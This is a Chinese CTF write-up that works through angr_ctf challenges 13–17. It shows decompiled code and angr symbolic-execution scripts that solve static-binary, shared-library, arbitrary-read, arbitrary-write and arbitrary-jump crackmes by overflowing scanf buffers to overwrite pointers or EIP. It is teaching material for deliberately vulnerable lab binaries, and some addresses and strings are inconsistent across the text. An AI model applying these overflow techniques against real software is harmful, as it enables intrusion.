syc@ubuntu:~/Desktop/TEMP$ checksec 13_angr_static_binary
[*] '/home/syc/Desktop/TEMP/13_angr_static_binary'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
拖进IDA查看一下函数：
int __cdecl main(int argc, const char **argv, const char **envp)
{
signed int i; // [esp+1Ch] [ebp-3Ch]
signed int j; // [esp+20h] [ebp-38h]
char s1[20]; // [esp+24h] [ebp-34h]
char s2[4]; // [esp+38h] [ebp-20h]
int v8; // [esp+3Ch] [ebp-1Ch]
unsigned int v9; // [esp+4Ch] [ebp-Ch]
v9 = __readgsdword(0x14u);
print_msg();
for ( i = 0; i <= 19; ++i )
s2[i] = 0;
*(_DWORD *)s2 = 'NVJL';
v8 = 'UAPE';
printf("Enter the password: ");
_isoc99_scanf("%8s", s1);
for ( j = 0; j <= 7; ++j )
s1[j] = complex_function(s1[j], j);
if ( !strcmp(s1, s2) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (37 * a2 + a1 - 65) % 26 + 65;
}
通常，Angr会自动地用工作速度快得多的simprocedure代替标准库函数，但是这题中库函数都已经因为静态编译成了静态函数了，angr没法自动替换。要解决这题，需要手动Hook所有使用标准库的C函数，angr已经在simprocedure中为我们提供了这些静态函数,
这里列举一些常用的函数
angr.SIM_PROCEDURES['libc']['malloc']
angr.SIM_PROCEDURES['libc']['fopen']
angr.SIM_PROCEDURES['libc']['fclose']
angr.SIM_PROCEDURES['libc']['fwrite']
angr.SIM_PROCEDURES['libc']['getchar']
angr.SIM_PROCEDURES['libc']['strncmp']
angr.SIM_PROCEDURES['libc']['strcmp']
angr.SIM_PROCEDURES['libc']['scanf']
angr.SIM_PROCEDURES['libc']['printf']
angr.SIM_PROCEDURES['libc']['puts']
angr.SIM_PROCEDURES['libc']['exit']
我们只需要手动找到程序中用到静态函数的地址，将其利用simprocedure提供的函数Hook掉即可
话不多说上EXP：
import angr
import claripy
import sys
def Go():
path_to_binary = "./13_angr_static_binary"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())
simulation = project.factory.simgr(initial_state, veritesting=True)
def is_successful(state):
stdout_output = state.posix.dumps(1)
if b'Good Job.\n' in stdout_output:
return True
else:
return False
def should_abort(state):
stdout_output = state.posix.dumps(1)
if b'Try again.\n' in stdout_output:
return True
else:
return False
simulation.explore(find=is_successful, avoid=should_abort)
if simulation.found:
for i in simulation.found:
solution_state = i
solution = solution_state.posix.dumps(0)
print("[+] Success! Solution is: {0}".format(solution))
#print(scanf0_solution, scanf1_solution)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下查看结果：
这题解题真正需要用的函数也就`printf`，`scnaf`，`puts`，即完成了angr需要的输出、输入、路径选择的功能，我们手动找到这几个函数的地址
这里比较容易忽略的一个函数就是`__libc_start_main`
让我们回忆一下在linux下一个c程序是如何启动的：
1. execve 开始执行
2. execve 内部会把bin程序加载后，就把.interp指定的 动态加载器加载
3. 动态加载器把需要加载的so都加载起来，特别的把 libc.so.6 加载
4. 调用到libc.so.6里的__libc_start_main函数，真正开始执行程序
5. libc_start_main做了一些事后，调用到main()函数
所以程序是一定需要用到`__libc_start_main`，分析后得到地址：0x8048D10，于是得到代码：
project.hook(0x804ed40, angr.SIM_PROCEDURES['libc']['printf']())
project.hook(0x804ed80, angr.SIM_PROCEDURES['libc']['scanf']())
project.hook(0x804f350, angr.SIM_PROCEDURES['libc']['puts']())
project.hook(0x8048d10, angr.SIM_PROCEDURES['glibc']['__libc_start_main']())
其它的部分和之前做过的`02_angr_find_condition`一致，不再赘述
## 14_angr_shared_library
这题如题主要是学习如何使用angr求解函数是外部导入在动态库(.so)里的题目，这题我们有了两个文件，一个是主程序`14_angr_shared_library`，另一个就是库文件`lib14_angr_shared_library.so`
我们先来检查一下这两个文件：
syc@ubuntu:~/Desktop/TEMP$ checksec 14_angr_shared_library
[*] '/home/syc/Desktop/TEMP/14_angr_shared_library'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
syc@ubuntu:~/Desktop/TEMP$ checksec lib14_angr_shared_library.so
[*] '/home/syc/Desktop/TEMP/lib14_angr_shared_library.so'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled
我们用IDA打开这个文件，看一看函数：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+1Ch] [ebp-1Ch]
unsigned int v5; // [esp+2Ch] [ebp-Ch]
v5 = __readgsdword(0x14u);
memset(&s, 0, 0x10u);
print_msg();
printf("Enter the password: ");
__isoc99_scanf("%8s", &s);
if ( validate(&s, 8) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
这题特殊就特殊在这个关键的`validate`函数，我们在IDA分析`14_angr_shared_library`时点击进去看发现无法查看源代码：
int __cdecl validate(int a1, int a2)
{
return validate(a1, a2);
}
原因很简单，`validate`是一个外部导入函数，其真正的二进制代码不在源程序里，在它所处的库文件`lib14_angr_shared_library.so`里面
我们用IDA打开并分析库文件`lib14_angr_shared_library.so`，找到了`validate`函数的具体实现
_BOOL4 __cdecl validate(char *s1, int a2)
{
char *v3; // esi
char s2[4]; // [esp+4h] [ebp-24h]
int v5; // [esp+8h] [ebp-20h]
int j; // [esp+18h] [ebp-10h]
int i; // [esp+1Ch] [ebp-Ch]
if ( a2 <= 7 )
return 0;
for ( i = 0; i <= 19; ++i )
s2[i] = 0;
*(_DWORD *)s2 = 'GKLW';
v5 = 'HWJL';
for ( j = 0; j <= 7; ++j )
{
v3 = &s1[j];
*v3 = complex_function(s1[j], j);
}
return strcmp(s1, s2) == 0;
}
int __cdecl complex_function(signed int a1, int a2)
{
if ( a1 <= 64 || a1 > 90 )
{
puts("Try again.");
exit(1);
}
return (41 * a2 + a1 - 65) % 26 + 65;
}
其实和之前的题目并没有什么太大的不同，关键在于如果让angr处理这个外部导入函数
### 动态链接
要详细了解，这里推荐阅读《程序员的自我修养——链接、装载与库》
在Linux下使用GCC将源码编译成可执行文件的过程可以分解为4个步骤，分别是预处理（Prepressing）、编译（Compilation）、汇编（Assembly）和链接（Linking）。一个简单的hello
word程序编译过程如下：
动态链接的基本思想是把程序按照模块拆分成相对独立的部分，在程序运行时才将它们链接在一起形成一个完整的程序，而不是像静态链接一样把所有的程序模块都连接成一个单独的可执行文件。ELF动态链接文件被称为动态共享对象（DSO，Dynamic
Shared
Object），简称共享对象，它们一般都是.so为扩展名的文件。相比静态链接，动态链接有两个优势，一是共享对象在磁盘和内存只有一份，节省了空间；二是升级某个共享模块时，只需要将目标文件替换，而无须将所有的程序重新链接
共享对象的最终装载地址在编译时是不确定的，而是在装载时，装载器根据当前地址空间的空闲情况，动态分配一块足够大小的虚拟地址空间给相应的共享对象。为了能够使共享对象在任意地址装载，在连接时对所有绝对地址的引用不作重定位，而把这一步推迟到装载时再完成，即装载时重定位
这题我们简单理解共享库都是是用位置无关的代码编译的，我们需要指定基址。共享库中的所有地址都是base +
offset，其中offset是它们在文件中的偏移地址
我们现在先上EXP，然后再逐步分析：
import angr
import claripy
import sys
def Go():
path_to_binary = "./lib14_angr_shared_library.so"
base = 0x4000000
project = angr.Project(path_to_binary, load_options={
'main_opts' : {
'custom_base_addr' : base
}
})
buffer_pointer = claripy.BVV(0x3000000, 32)
validate_function_address = base + 0x6d7
initial_state = project.factory.call_state(validate_function_address, buffer_pointer, claripy.BVV(8, 32))
password = claripy.BVS('password', 8*8)
initial_state.memory.store(buffer_pointer, password)
simulation = project.factory.simgr(initial_state)
success_address = base + 0x783
simulation.explore(find=success_address)
if simulation.found:
for i in simulation.found:
solution_state = i
solution_state.add_constraints(solution_state.regs.eax != 0)
solution = solution_state.solver.eval(password,cast_to=bytes)
print("[+] Success! Solution is: {0}".format(solution))
#print(scanf0_solution, scanf1_solution)
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下查看：
这题直接对库文件`lib14_angr_shared_library.so`进行符号执行求解,但问题在于库文件是需要装载才能运行的，无法单独运行，于是我们需要指定基地址
还记得我们查看的程序信息嘛
syc@ubuntu:~/Desktop/TEMP$ checksec 14_angr_shared_library
[*] '/home/syc/Desktop/TEMP/14_angr_shared_library'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x8048000)
这题是没有开启PIE，所以加载基地址是不会变化的，我们可以直接设定0x8048000
### pre-binary 选项
如果你想要对一个特定的二进制对象设置一些选项，CLE也能满足你的需求在加载二进制文件时可以设置特定的参数，使用 `main_opts` 和
`lib_opts` 参数进行设置。
* `backend` – 指定 backend
* `base_addr` – 指定基址
* `entry_point` – 指定入口点
* `arch` – 指定架构
示例如下：
>>> angr.Project('examples/fauxware/fauxware', main_opts={'backend': 'blob', 'arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}})
<Project examples/fauxware/fauxware>
参数`main_opts`和`lib_opts`接收一个以python字典形式存储的选项组。`main_opts`接收一个形如{选项名1：选项值1，选项名2：选项值2……}的字典，而`lib_opts`接收一个库名到形如{选项名1:选项值1，选项名2:选项值2……}的字典的映射。
> lib_opts是二级字典，原因是一个二进制文件可能加载多个库，而main_opts指定的是主程序加载参数，而主程序一般只有一个，因此是一级字典。
这些选项的内容因不同的后台而异，下面是一些通用的选项：
* backend —— 使用哪个后台，可以是一个对象，也可以是一个名字(字符串)
* custom_base_addr —— 使用的基地址
* custom_entry_point —— 使用的入口点
* custom_arch —— 使用的处理器体系结构的名字
所以我们可以得到脚本的第一部分
path_to_binary = "./lib14_angr_shared_library.so"
base = 0x8048000
project = angr.Project(path_to_binary, load_options={
'main_opts' : {
'custom_base_addr' : base
}
})
我们这里调用的是使用`.call_state`创建 state
对象，构造一个已经准备好执行`validate`函数的状态，所以我们需要设定好需要传入的参数。先回顾一下`validate`函数的原型
validate(char *s1, int a2)
我们可以通过 `BVV(value,size)` 和 `BVS( name, size)` 接口创建位向量，先创建一个缓冲区buffer作为参数`char
*s1`，因为设定的缓冲区地址在0x3000000，又因为32位程序里int类型为4字节，即32比特，故得
buffer_pointer = claripy.BVV(0x3000000, 32)
然后从IDA中不难得出`validate`的偏移量为0x6D7，然后因为需要比较的字符串长度为8，故利用BVV传入参数`int a2`，最后得到
buffer_pointer = claripy.BVV(0x3000000, 32)
validate_function_address = base + 0x6d7
initial_state = project.factory.call_state(validate_function_address, buffer_pointer, claripy.BVV(8, 32))
然后利用BVS创建一个符号位向量，作为符号化的传入字符串传入我们之前设定好的缓冲区地址中，这里继续利用`memory.store`接口
password = claripy.BVS('password', 8*8)
initial_state.memory.store(buffer_pointer, password)
这里判断我们路径正确的方法有两种
* 同我们之前Hook部分一样，Hook判断部分
* 搜索函数执行完的返回地址，然后根据诺正确则EAX的值不为0，添加约束条件求解
这里我们选用了第二种方式
success_address = base + 0x783
simulation.explore(find=success_address)
之后的部分同之前的题目类似，不再赘述
## 15_angr_arbitrary_read
这题如题主要是学习如何利用Angr实现内存地址的任意读，和CTF中的PWN题很像，这里的例子也都是很简单的漏洞利用
首先检测一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec 15_angr_arbitrary_read
[*] '/home/syc/Desktop/TEMP/15_angr_arbitrary_read'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
我们用IDA打开这个文件，看一看函数：
int __cdecl main(int argc, const char **argv, const char **envp)
{
char v4; // [esp+Ch] [ebp-1Ch]
char *s; // [esp+1Ch] [ebp-Ch]
s = try_again;
print_msg();
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &v4);
if ( key == 19511649 )
puts(s);
else
puts(try_again);
return 0;
}
刚开始拿到这题我们是有点懵逼的，因为太简单了，不懂利用点在哪里，其实我们只要铭记所有题目的核心关键是输出“Godd Job”
我们看一下puts函数的用法
int puts(const char *string);
传入的是一个字符串指针，我们所有题目的目标都是最后获得输出Good
Job，这题单单看反汇编代码无法发现如何获得正确输出，回想一下标题任意读，我们可以发现这题的关键是修改s处内存的指针地址，然后搜索一下程序的字符串表
发现程序中存在”Good Job.”字符串验证了我们之前的想法，我们目前需要做的事情就是把s存储的地址修改为Good Job所在的地址即
**0x594e4257**
那我们如何修改呢，视线回到充满着漏洞和内存泄漏的scanf函数，观察一下v4的栈结构
可以发现v4和s在内存上是相邻的，且只相差20地址，回到scanf函数
__isoc99_scanf("%u %20s", &key, &v4);
允许我们输入20个字符，存在越界写的问题，可输入的字符串刚刚好可以让我们覆盖到 `s`，这就给了我们可以修改s字符的机会
先上EXP，再逐步分析：
import angr
import sys
import claripy
def Go():
path_to_binary = "./15_angr_arbitrary_read"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness)
if state.se.symbolic(puts_parameter):
good_job_string_address = 0x594e4257
is_vulnerable_expression = puts_parameter == good_job_string_address
copied_state = state.copy()
copied_state.add_constraints(is_vulnerable_expression)
if copied_state.satisfiable():
state.add_constraints(is_vulnerable_expression)
return True
else:
return False
else:
return False
simulation = project.factory.simgr(initial_state)
def is_successful(state):
puts_address = 0x8048370
if state.addr == puts_address:
return check_puts(state)
else:
return False
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
(scanf0, scanf1) = solution_state.globals['solutions']
solution0 = (solution_state.solver.eval(scanf0))
solution1 = (solution_state.solver.eval(scanf1,cast_to=bytes))
print("[+] Success! Solution is: {0} {1}".format(solution0, solution1))
else:
raise Exception('Could not find the solution')
if __name__ == "__main__":
Go()
运行一下验证结果：
现在开始解析脚本,一开始的时候同往常一样，angr可以自动处理
path_to_binary = "./15_angr_arbitrary_read"
project = angr.Project(path_to_binary, auto_load_libs=False)
initial_state = project.factory.entry_state()
接下来我们需要同之前几题一样Hook Scanf函数，为此我们需要自己编写一个替换函数，注意同之前的知识相结合
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0, scanf1)
因为第一个参数key是无符号整数，即占用8 _4=32比特，第二个参数v4我们需要输入20个字符才能覆盖到s的地址，故总共需要20\_
8个比特，我们这就完成了两个符号位向量的构建
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 20*8)
这题我们需要确保字符串中的每个字符都是可打印的，这就需要我们添加新的条件约束，即约束每个字节的范围在ASCII码中，同时因为一个字符是8比特，故我们需要将scanf1这个符号位向量按8比特一组切分为一个字节一个字节
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 'A', char <= 'Z')
这里我们引入`project.arch.memory_endness`将符号位向量设置为小端序，并设置解集
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0, scanf1)
然后开始设置根据符号表函数名进行Hook操作
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
然后我们需要一个验证函数求证我们求解出的状态是正确的输出状态，所以需要编写一个check_puts函数进行检查，我们主要是在检查puts函数调用时传入的参数s的值，这里有一个独特的地方我们检查的puts地址是PLT地址，
因为有两个地方都调用了puts函数，而puts是一个外部导入函数，每次调用本质上都需要访问PLT表，所以我们直接捕获运行到puts的PLT地址的state做检查就行
def is_successful(state):
puts_address = 0x8048370
if state.addr == puts_address:
return check_puts(state)
else:
return False
接下来我们开始编写check函数，首先我们知道puts函数只有一个参数，那这个参数一定是存在栈上esp指针+4的位置（具体可以去参阅32位Linux函数传参格式）
esp + 7 -> /----------------\
esp + 6 -> | puts |
esp + 5 -> | parameter |
esp + 4 -> \----------------/
esp + 3 -> /----------------\
esp + 2 -> | return |
esp + 1 -> | address |
esp -> \----------------/
我们调用memory的load方法将这个数据提取出来看看是不是goodjob字符串所在的地址
def check_puts(state):
puts_parameter = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness)
if state.se.symbolic(puts_parameter):
good_job_string_address = 0x594e4257
is_vulnerable_expression = puts_parameter == good_job_string_address
这里我们需要对当前状态做一个拷贝，方便操作状态而不对原来的状态产生影响干扰，然后给状态添加约束条件，如果地址相等则返回正确
copied_state = state.copy()
copied_state.add_constraints(is_vulnerable_expression)
if copied_state.satisfiable():
state.add_constraints(is_vulnerable_expression)
return True
else:
return False
else:
return False
接下来的部分都是大同小异，不再赘述
## 16_angr_arbitrary_write
这题如题就是学习如何任意写，老样子先检查一下文件
syc@ubuntu:~/Desktop/TEMP$ checksec 16_angr_arbitrary_write
[*] '/home/syc/Desktop/TEMP/16_angr_arbitrary_write'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
用IDA打开检查一下函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
char s; // [esp+Ch] [ebp-1Ch]
char *dest; // [esp+1Ch] [ebp-Ch]
dest = unimportant_buffer;
memset(&s, 0, 0x10u);
strncpy(password_buffer, "PASSWORD", 0xCu);
print_msg();
printf("Enter the password: ");
__isoc99_scanf("%u %20s", &key, &s);
if ( key == 24173502 )
strncpy(dest, &s, 0x10u);
else
strncpy(unimportant_buffer, &s, 0x10u);
if ( !strncmp(password_buffer, "DVTBOGZL", 8u) )
puts("Good Job.");
else
puts("Try again.");
return 0;
}
一开始也是毫无头绪，记得我们之前铭记的做题核心就是输出“Good Job.”，顺着这个思路往上走，第一步我们观察
!strncmp(password_buffer, "NDYNWEUJ", 8u)
需要的条件是`password_buffer`的里面内容为`NDYNWEUJ`，接下来的问题是如何指定内容，我们发现并没有直接的渠道给我们去修改这里的内容，我们思路到哪些渠道可以提供给我们修改内存内容值，可以得知：
dest = unimportant_buffer;
__isoc99_scanf("%u %20s", &key, &s);
strncpy(dest, &s, 0x10u);
strncpy(unimportant_buffer, &s, 0x10u);
我们回顾一下`strncpy`函数：
char *strncpy(char *dest, const char *src, int n)
表示把`src`所指向的字符串中以`src`地址开始的前n个字节复制到`dest`所指的数组中，并返回被复制后的`dest`
strncmp(password_buffer, "DVTBOGZL", 8u)
可以想到我们可以将`dest`指向`password_buffer`，然后将`src`的内容修改为`DVTBOGZL`即可，然后我们知道一开始`dest`已经指向`unimportant_buffer`，我们如何修改`dest`呢？
回忆起上一题的手法，观察这个函数：
__isoc99_scanf("%u %20s", &key, &s);
-0000001C s db ?
-0000001B db ? ; undefined
-0000001A db ? ; undefined
-00000019 db ? ; undefined
-00000018 db ? ; undefined
-00000017 db ? ; undefined
-00000016 db ? ; undefined
-00000015 db ? ; undefined
-00000014 db ? ; undefined
-00000013 db ? ; undefined
-00000012 db ? ; undefined
-00000011 db ? ; undefined
-00000010 db ? ; undefined
-0000000F db ? ; undefined
-0000000E db ? ; undefined
-0000000D db ? ; undefined
-0000000C dest dd ? ; offset
-00000008 db ? ; undefined
-00000007 db ? ; undefined
-00000006 db ? ; undefined
-00000005 db ? ; undefined
`s`和`dest`刚好只相差16字节，完全覆盖`dest`刚好需要20个字节，而`scanf`函数刚好给我们提供了20个字节，这里用上一题差不多的手法就行，当我们控制了dest的地址后，s的前16个字节又是我们可控的，于是我们就实现了任意地址写的功能
老样子先上EXP：
import angr
import claripy
import sys
def Go():
path_to_binary = "./16_angr_arbitrary_write"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 48, char <= 96)
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
def check_strncpy(state):
strncpy_src = state.memory.load(state.regs.esp + 8, 4, endness=project.arch.memory_endness)
strncpy_dest = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp + 12, 4, endness=project.arch.memory_endness)
src_contents = state.memory.load(strncpy_src, strncpy_len)
if state.solver.symbolic(src_contents) and state.solver.symbolic(strncpy_dest):
password_string = 'DVTBOGZL'
buffer_address = 0x4655544c
does_src_hold_password = src_contents[-1:-64] == password_string
does_dest_equal_buffer_address = strncpy_dest == buffer_address
if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)):
state.add_constraints(does_src_hold_password, does_dest_equal_buffer_address)
return True
else:
return False
else:
return False
simulation = project.factory.simgr(initial_state)
def is_successful(state):
strncpy_address = 0x8048410
if state.addr == strncpy_address:
return check_strncpy(state)
else:
return False
simulation.explore(find=is_successful)
if simulation.found:
solution_state = simulation.found[0]
scanf0, scanf1 = solution_state.globals['solutions']
solution0 = (solution_state.solver.eval(scanf0))
solution1 = (solution_state.solver.eval(scanf1,cast_to=bytes))
print("[+] Success! Solution is: {0} {1}".format(solution0, solution1))
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
Go()
运行一下查看结果：
接下来我们来分析一下脚本：
一开始的脚本和上一题都没有什么太大的区别，也是在hook我们的scanf函数然后做条件约束为可见字符之类的
def Go():
path_to_binary = "./16_angr_arbitrary_write"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, param0, param1):
scanf0 = claripy.BVS('scanf0', 32)
scanf1 = claripy.BVS('scanf1', 20*8)
for char in scanf1.chop(bits=8):
self.state.add_constraints(char >= 48, char <= 96)
scanf0_address = param0
self.state.memory.store(scanf0_address, scanf0, endness=project.arch.memory_endness)
scanf1_address = param1
self.state.memory.store(scanf1_address, scanf1)
self.state.globals['solutions'] = (scanf0, scanf1)
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
这里我们从检查`puts`函数变为了检查`strncpy`函数，我们需要检查的是`strncpy`的`dest`参数是否已经修改为`password_buffer`，且`src`参数是否为密码字符串，这里需要注意的是此时的参数栈结构：
esp + 7 -> /----------------\
esp + 6 -> | puts |
esp + 5 -> | parameter |
esp + 4 -> \----------------/
esp + 3 -> /----------------\
esp + 2 -> | return |
esp + 1 -> | address |
esp -> \----------------/
我们利用memory的load方法把参数内容提取出来
def check_strncpy(state):
strncpy_src = state.memory.load(state.regs.esp + 8, 4, endness=project.arch.memory_endness)
strncpy_dest = state.memory.load(state.regs.esp + 4, 4, endness=project.arch.memory_endness)
strncpy_len = state.memory.load(state.regs.esp + 12, 4, endness=project.arch.memory_endness)
这里需要注意的是我们在检查src参数是否正确的时候需要的是里面的字符串内容，然而我们第一次获取的是`src`字符串的地址，我们还需要再调用一次load方法把src真正的内容提取出来
src_contents = state.memory.load(strncpy_src, strncpy_len)
然后就是正常的参数验证环节，首先验证src字符串是否为我们想要的字符串，因为机器是小端序，所以我们需要`[-1:-64]`这样来比较
if state.solver.symbolic(src_contents) and state.solver.symbolic(strncpy_dest):
password_string = 'DVTBOGZL'
buffer_address = 0x4655544c
does_src_hold_password = src_contents[-1:-64] == password_string
does_dest_equal_buffer_address = strncpy_dest == buffer_address
当`src`字符串的确为我们需要的时候，接下来判定`dest`是否为`password_buffe`的地址
if state.satisfiable(extra_constraints=(does_src_hold_password, does_dest_equal_buffer_address)):
state.add_constraints(does_src_hold_password, does_dest_equal_buffer_address)
return True
else:
return False
接下来都是比较常规的套路了，不再赘述
## 17_angr_arbitrary_jump
如题目所示，这题主要是学会任意地址跳转，即利用Angr处理无约束状态，老样子先检查一下文件：
syc@ubuntu:~/Desktop/TEMP$ checksec 17_angr_arbitrary_jump
[*] '/home/syc/Desktop/TEMP/17_angr_arbitrary_jump'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
然后用IDA打开检查一下函数
int __cdecl main(int argc, const char **argv, const char **envp)
{
print_msg();
printf("Enter the password: ");
read_input();
puts("Try again.");
return 0;
}
int print_msg()
{
return printf("%s", msg);
}
int read_input()
{
char v1; // [esp+1Ah] [ebp-1Eh]
return __isoc99_scanf("%s", &v1);
}
然后我们还可以发现存在一个没有被调用到的函数`print_good`
void __noreturn print_good()
{
puts("Good Job.");
exit(0);
}
我们不难发现这题里面的read_input()函数里的scanf存在栈溢出漏洞，简单来说这题就是非常简单的ROP使得我们跳转到print_good函数
话不多说先上EXP：
import angr
import claripy
import sys
def Go():
path_to_binary = "./17_angr_arbitrary_jump"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS(
'input_buffer', 64 * 8)
for char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')
self.state.memory.store(
input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)
def check_vulnerable(state):
return state.solver.symbolic(state.regs.eip)
def has_found_solution():
return simulation.found
def has_unconstrained_to_check():
return simulation.unconstrained
def has_active():
return simulation.active
while (has_active() or has_unconstrained_to_check()) and (not has_found_solution()):
for unconstrained_state in simulation.unconstrained:
def should_move(s):
return s is unconstrained_state
simulation.move('unconstrained', 'found', filter_func=should_move)
simulation.step()
if simulation.found:
solution_state = simulation.found[0]
solution_state.add_constraints(solution_state.regs.eip == 0x4d4c4749)
solution = solution_state.solver.eval(
solution_state.globals['solution'], cast_to=bytes)
print(solution[::-1])
else:
raise Exception('Could not find the solution')
if __name__ == '__main__':
Go()
运行一下验证结果：
下面开始逐步讲解EXP
当一条指令有太多可能的分支时，就会出现无约束状态。当指令指针完全是符号指针时，就会发生这种情况，这意味着用户输入可以控制计算机执行的代码的地址
mov user_input, eax
jmp eax
例如此题存在的栈溢出漏洞就可以让我们的程序进入无约束状态。一般情况下，当Angr遇到不受约束的状态时，它会将其抛出。在我们的例子中，我们希望利用无约束状态来跳转到我们选择的位置。我们将在稍后了解如何禁用Angr的默认行为
一开始的情况都是一样的
def Go():
path_to_binary = "./17_angr_arbitrary_jump"
project = angr.Project(path_to_binary)
initial_state = project.factory.entry_state()
然后老样子Hook掉我们的scanf函数，使得输入的信息都是可见字符串
class ReplacementScanf(angr.SimProcedure):
def run(self, format_string, input_buffer_address):
input_buffer = claripy.BVS(
'input_buffer', 64 * 8)
for char in input_buffer.chop(bits=8):
self.state.add_constraints(char >= '0', char <= 'z')
self.state.memory.store(
input_buffer_address, input_buffer, endness=project.arch.memory_endness)
self.state.globals['solution'] = input_buffer
scanf_symbol = '__isoc99_scanf'
project.hook_symbol(scanf_symbol, ReplacementScanf())
然后我们将改变Angr的模拟引擎的默认设置，参数`save_unconstrained=True`时指定Angr不抛出不受约束的状态。相反，它会将它们移动到名为`simul.com
unconstrained`的stashes 中。此外，我们将使用一些默认情况下不包含的stashes
，如’found’和’not_needed’。稍后将学习如何使用它们
* active：程序仍能进一步执行
* deadended：程序结束
* errored：Angr执行中出现错误的状态
* unconstrained：不受约束的状态
* found：找到路径答案的状态
* not_needed：所有其它情况
simulation = project.factory.simgr(
initial_state,
save_unconstrained=True,
stashes={
'active' : [initial_state],
'unconstrained' : [],
'found' : [],
'not_needed' : []
}
)
接下来我们将定义四个函数来获得我们想要获得的程序状态
#检查无约束状态是否可利用
def check_vulnerable(state):
return state.solver.symbolic(state.regs.eip)
def has_found_solution():
return simulation.found
#检查是否还有未受约束的状态需要检查
def has_unconstrained_to_check():
return simulation.unconstrained
#active是可以进一步探索的所有状态的列表
def has_active():
return simulation.active
我们之前一直使用的`simulation.explore`方法并不适合我们现在这种情况，因为`find`参数指定的方法不会在无约束状态下被调用，想要自己探索未约束情况下的二进制代码，我们需要自己编写解决方案
while (has_active() or has_unconstrained_to_check()) and (not has_found_solution()):
for unconstrained_state in simulation.unconstrained:
def should_move(s):
return s is unconstrained_state
simulation.move('unconstrained', 'found', filter_func=should_move)
simulation.step()
